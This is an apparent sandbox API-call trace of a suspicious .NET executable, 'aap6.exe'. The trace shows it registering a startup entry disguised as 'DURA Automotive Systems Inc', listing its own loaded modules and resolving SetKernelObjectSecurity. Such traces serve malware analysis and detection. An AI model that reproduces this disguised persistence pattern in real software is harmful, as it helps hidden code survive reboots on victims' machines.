	[0115.857] RegSetValueExW (in: hKey=0x1f0, lpValueName="DURA Automotive Systems Inc", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", cbData=0xbc | out: lpData="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe") returned 0x0
	[0115.859] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x3ee394 | out: phkResult=0x3ee394*=0x0) returned 0x2
	[0115.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x3edeb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0115.902] GetLastError () returned 0x0
	[0115.999] GetCurrentProcessId () returned 0x9f8
	[0115.999] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0115.999] GetLastError () returned 0x0
	[0115.999] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x2497d90, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x2497d90, lpcbNeeded=0x3ee204) returned 1
	[0115.999] GetLastError () returned 0x0
	[0115.999] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x2497ed0, cb=0xc | out: lpmodinfo=0x2497ed0*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0115.999] GetLastError () returned 0x0
	[0115.999] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.000] GetLastError () returned 0x0
	[0116.000] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.000] GetLastError () returned 0x0
	[0116.000] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x2499000, cb=0xc | out: lpmodinfo=0x2499000*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.000] GetLastError () returned 0x0
	[0116.000] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.000] GetLastError () returned 0x0
	[0116.000] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.000] GetLastError () returned 0x0
	[0116.000] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x249a0f4, cb=0xc | out: lpmodinfo=0x249a0f4*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.000] GetLastError () returned 0x0
	[0116.001] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.001] GetLastError () returned 0x0
	[0116.001] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.001] GetLastError () returned 0x0
	[0116.001] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x249b1f0, cb=0xc | out: lpmodinfo=0x249b1f0*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.001] GetLastError () returned 0x0
	[0116.001] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.001] GetLastError () returned 0x0
	[0116.001] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.001] GetLastError () returned 0x0
	[0116.002] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x249c2f4, cb=0xc | out: lpmodinfo=0x249c2f4*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.002] GetLastError () returned 0x0
	[0116.002] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.002] GetLastError () returned 0x0
	[0116.002] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.002] GetLastError () returned 0x0
	[0116.002] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x249d430, cb=0xc | out: lpmodinfo=0x249d430*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.002] GetLastError () returned 0x0
	[0116.002] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.002] GetLastError () returned 0x0
	[0116.003] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.003] GetLastError () returned 0x0
	[0116.003] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x249e534, cb=0xc | out: lpmodinfo=0x249e534*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.003] GetLastError () returned 0x0
	[0116.003] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.003] GetLastError () returned 0x0
	[0116.003] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.003] GetLastError () returned 0x0
	[0116.003] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x249f630, cb=0xc | out: lpmodinfo=0x249f630*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.004] GetLastError () returned 0x0
	[0116.004] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.004] GetLastError () returned 0x0
	[0116.004] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.004] GetLastError () returned 0x0
	[0116.004] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x24a072c, cb=0xc | out: lpmodinfo=0x24a072c*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.004] GetLastError () returned 0x0
	[0116.004] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.004] GetLastError () returned 0x0
	[0116.005] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.005] GetLastError () returned 0x0
	[0116.005] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x24a1878, cb=0xc | out: lpmodinfo=0x24a1878*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.005] GetLastError () returned 0x0
	[0116.005] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.005] GetLastError () returned 0x0
	[0116.005] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.006] GetLastError () returned 0x0
	[0116.006] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x24a2974, cb=0xc | out: lpmodinfo=0x24a2974*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.006] GetLastError () returned 0x0
	[0116.006] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.006] GetLastError () returned 0x0
	[0116.006] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.006] GetLastError () returned 0x0
	[0116.006] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x24a3a78, cb=0xc | out: lpmodinfo=0x24a3a78*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.007] GetLastError () returned 0x0
	[0116.007] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.007] GetLastError () returned 0x0
	[0116.007] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.007] GetLastError () returned 0x0
	[0116.007] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x24a4bb0, cb=0xc | out: lpmodinfo=0x24a4bb0*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.007] GetLastError () returned 0x0
	[0116.007] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.008] GetLastError () returned 0x0
	[0116.008] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.008] GetLastError () returned 0x0
	[0116.008] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x24a5cac, cb=0xc | out: lpmodinfo=0x24a5cac*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.008] GetLastError () returned 0x0
	[0116.008] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.009] GetLastError () returned 0x0
	[0116.009] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.009] GetLastError () returned 0x0
	[0116.009] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x24a6da0, cb=0xc | out: lpmodinfo=0x24a6da0*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.009] GetLastError () returned 0x0
	[0116.009] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.009] GetLastError () returned 0x0
	[0116.009] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.010] GetLastError () returned 0x0
	[0116.010] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x24a7e9c, cb=0xc | out: lpmodinfo=0x24a7e9c*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.010] GetLastError () returned 0x0
	[0116.010] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.010] GetLastError () returned 0x0
	[0116.010] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.011] GetLastError () returned 0x0
	[0116.011] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x24a8f88, cb=0xc | out: lpmodinfo=0x24a8f88*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.011] GetLastError () returned 0x0
	[0116.011] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.011] GetLastError () returned 0x0
	[0116.011] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.012] GetLastError () returned 0x0
	[0116.012] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x24aa10c, cb=0xc | out: lpmodinfo=0x24aa10c*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.012] GetLastError () returned 0x0
	[0116.012] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.012] GetLastError () returned 0x0
	[0116.012] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.013] GetLastError () returned 0x0
	[0116.013] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x24ab200, cb=0xc | out: lpmodinfo=0x24ab200*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.013] GetLastError () returned 0x0
	[0116.013] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.013] GetLastError () returned 0x0
	[0116.013] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.014] GetLastError () returned 0x0
	[0116.014] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x24ac2f4, cb=0xc | out: lpmodinfo=0x24ac2f4*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.014] GetLastError () returned 0x0
	[0116.014] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.014] GetLastError () returned 0x0
	[0116.014] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.015] GetLastError () returned 0x0
	[0116.015] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x24ad42c, cb=0xc | out: lpmodinfo=0x24ad42c*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.015] GetLastError () returned 0x0
	[0116.015] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.015] GetLastError () returned 0x0
	[0116.015] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.016] GetLastError () returned 0x0
	[0116.016] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x24ae5c0, cb=0xc | out: lpmodinfo=0x24ae5c0*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.016] GetLastError () returned 0x0
	[0116.016] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.016] GetLastError () returned 0x0
	[0116.016] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.017] GetLastError () returned 0x0
	[0116.018] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x24af6bc, cb=0xc | out: lpmodinfo=0x24af6bc*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.018] GetLastError () returned 0x0
	[0116.018] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.018] GetLastError () returned 0x0
	[0116.018] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.019] GetLastError () returned 0x0
	[0116.019] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x24b07b0, cb=0xc | out: lpmodinfo=0x24b07b0*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.019] GetLastError () returned 0x0
	[0116.019] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.020] GetLastError () returned 0x0
	[0116.020] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.020] GetLastError () returned 0x0
	[0116.020] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x24b18ac, cb=0xc | out: lpmodinfo=0x24b18ac*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.020] GetLastError () returned 0x0
	[0116.021] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.021] GetLastError () returned 0x0
	[0116.021] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.021] GetLastError () returned 0x0
	[0116.021] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x24b2a44, cb=0xc | out: lpmodinfo=0x24b2a44*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.022] GetLastError () returned 0x0
	[0116.022] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.022] GetLastError () returned 0x0
	[0116.022] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.023] GetLastError () returned 0x0
	[0116.023] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x24b3b40, cb=0xc | out: lpmodinfo=0x24b3b40*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.023] GetLastError () returned 0x0
	[0116.023] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.023] GetLastError () returned 0x0
	[0116.024] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.024] GetLastError () returned 0x0
	[0116.024] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x24b4c78, cb=0xc | out: lpmodinfo=0x24b4c78*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.024] GetLastError () returned 0x0
	[0116.024] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.025] GetLastError () returned 0x0
	[0116.025] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.025] GetLastError () returned 0x0
	[0116.025] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x24b5e04, cb=0xc | out: lpmodinfo=0x24b5e04*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.026] GetLastError () returned 0x0
	[0116.026] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.026] GetLastError () returned 0x0
	[0116.026] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.026] GetLastError () returned 0x0
	[0116.027] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x24b6fe8, cb=0xc | out: lpmodinfo=0x24b6fe8*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.027] GetLastError () returned 0x0
	[0116.027] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.027] GetLastError () returned 0x0
	[0116.027] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.028] GetLastError () returned 0x0
	[0116.028] CloseHandle (hObject=0x1ec) returned 1
	[0116.028] GetLastError () returned 0x0
	[0116.031] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0x85eab91, Data2=0x5780, Data3=0x4156, Data4=([0]=0x80, [1]=0xf9, [2]=0xd8, [3]=0x83, [4]=0x68, [5]=0x63, [6]=0x4e, [7]=0x62))) returned 0x0
	[0116.038] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x11432c79, Data2=0xfac2, Data3=0x4deb, Data4=([0]=0xbe, [1]=0x26, [2]=0x83, [3]=0x57, [4]=0x61, [5]=0x44, [6]=0xe1, [7]=0x81))) returned 0x0
	[0116.045] GetProcAddress (hModule=0x77740000, lpProcName="SetKernelObjectSecurity") returned 0x77754645
	[0116.052] GetCurrentProcessId () returned 0x9f8
	[0116.052] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.052] GetLastError () returned 0xcb
	[0116.052] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x24c37f4, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x24c37f4, lpcbNeeded=0x3ee204) returned 1
	[0116.052] GetLastError () returned 0xcb
	[0116.052] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x24c3934, cb=0xc | out: lpmodinfo=0x24c3934*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.052] GetLastError () returned 0xcb
	[0116.052] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.052] GetLastError () returned 0xcb
	[0116.053] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.053] GetLastError () returned 0xcb
	[0116.053] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x24c4a64, cb=0xc | out: lpmodinfo=0x24c4a64*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.053] GetLastError () returned 0xcb
	[0116.053] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
